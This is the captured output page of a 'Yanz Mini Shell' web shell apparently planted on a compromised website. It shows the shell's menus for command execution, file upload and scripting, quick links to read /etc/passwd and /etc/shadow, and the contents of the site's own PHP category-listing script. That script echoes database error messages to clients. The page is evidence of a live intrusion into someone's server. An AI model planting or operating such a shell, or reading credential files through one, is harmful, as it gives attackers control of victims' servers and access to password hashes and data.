Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
pace
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php require_once '../../config/config.php'; try { $isExport = isset($_GET['isExport']) && $_GET['isExport'] === 'true'; $limit = isset($_GET['length']) ? (int)$_GET['length'] : 10; $offset = isset($_GET['start']) ? (int)$_GET['start'] : 0; $orderColumnIndex = isset($_GET['order'][0]['column']) ? (int)$_GET['order'][0]['column'] : 0; $orderDir = isset($_GET['order'][0]['dir']) && in_array(strtolower($_GET['order'][0]['dir']), ['asc', 'desc']) ? $_GET['order'][0]['dir'] : 'asc'; $searchValue = isset($_GET['search']['value']) ? trim($_GET['search']['value']) : ''; $status = isset($_GET['status']) ? $_GET['status'] : ""; $columns = ['id', 'name', 'image', 'status']; $orderBy = isset($columns[$orderColumnIndex]) ? $columns[$orderColumnIndex] : 'id'; $whereClauses = ['1=1']; $bindings = []; if (!empty($status)) { $whereClauses[] = "c.status = :status"; $bindings[':status'] = $status; } if (!empty($searchValue)) { $whereClauses[] = "(c.name LIKE :search)"; $bindings[':search'] = "%{$searchValue}%"; } $whereClause = "WHERE " . implode(" AND ", $whereClauses); // Query to fetch data $sqlData = "SELECT c.* FROM tbl_category c $whereClause ORDER BY $orderBy $orderDir"; if (!$isExport) { // Directly append LIMIT/OFFSET for safety $sqlData .= " LIMIT $limit OFFSET $offset"; } $stmt = $pdo->prepare($sqlData); foreach ($bindings as $key => $value) { $stmt->bindValue($key, $value, PDO::PARAM_STR); } $stmt->execute(); $data = $stmt->fetchAll(PDO::FETCH_ASSOC); // Total records $totalRecords = $pdo->query("SELECT COUNT(*) FROM tbl_category")->fetchColumn(); // Total filtered records $sqlFiltered = "SELECT COUNT(*) FROM tbl_category c $whereClause"; $stmtFiltered = $pdo->prepare($sqlFiltered); foreach ($bindings as $key => $value) { $stmtFiltered->bindValue($key, $value, PDO::PARAM_STR); } $stmtFiltered->execute(); $totalFilteredRecords = $stmtFiltered->fetchColumn(); $response = $isExport ? ["data" => $data, "export" => true] : [ "draw" => isset($_GET['draw']) ? (int)$_GET['draw'] : 0, "recordsTotal" => (int)$totalRecords, "recordsFiltered" => (int)$totalFilteredRecords, "data" => $data ]; echo json_encode($response); } catch (PDOException $e) { http_response_code(500); echo json_encode(["error" => "Database error: " . $e->getMessage()]); error_log("Database error: " . $e->getMessage()); exit; } catch (Exception $e) { http_response_code(500); echo json_encode(["error" => "Unexpected error: " . $e->getMessage()]); error_log("Error: " . $e->getMessage()); exit; }
Free Space : 11255435264 Byte